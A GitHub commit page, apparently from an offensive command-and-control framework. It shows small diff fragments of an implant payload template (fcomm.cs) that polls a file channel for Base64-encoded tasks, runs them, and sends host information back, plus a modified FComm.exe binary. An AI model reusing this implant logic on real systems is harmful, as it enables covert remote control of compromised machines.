Skip to content

Commit

Permalink
Changes required to fix issue with commands containing commas.
Browse files Browse the repository at this point in the history
  • Loading branch information
Console authored and benpturner committed Feb 10, 2021
1 parent 20340c5 commit e494b04
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 2 deletions.
Binary file modified resources/modules/FComm.exe
Binary file not shown.
5 changes: 3 additions & 2 deletions resources/payload-templates/fcomm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -108,8 +108,9 @@ private static void FCommConnect()
//The task in the file has been actioned already.
continue;
}
//Base64 decode required here.
var cmd = Encoding.UTF8.GetString(Convert.FromBase64String(Task.Input));

var cmd = Task.Input;
var sOutput2 = new StringWriter(); //Setup stringwriter to buffer output from command.
if (cmd.ToLower().StartsWith("kill-implant"))
{
Expand Down Expand Up @@ -387,7 +388,7 @@ public FCClient(string FilePath_In, string HostInfo, string key)
f.Close();
f.Dispose();
//lets populate it with the info we need.
FCDataGram InitialContent = new FCDataGram() { PacketType = "INIT", Input = "initial", Output = Convert.ToBase64String(Encoding.UTF8.GetBytes(HostInfo)), Actioned = true };
FCDataGram InitialContent = new FCDataGram() { PacketType = "INIT", Input = Convert.ToBase64String(Encoding.UTF8.GetBytes("initial")), Output = Convert.ToBase64String(Encoding.UTF8.GetBytes(HostInfo)), Actioned = true };
SendData(InitialContent);
}
catch (SecurityException e)
Expand Down

0 comments on commit e494b04

Please sign in to comment.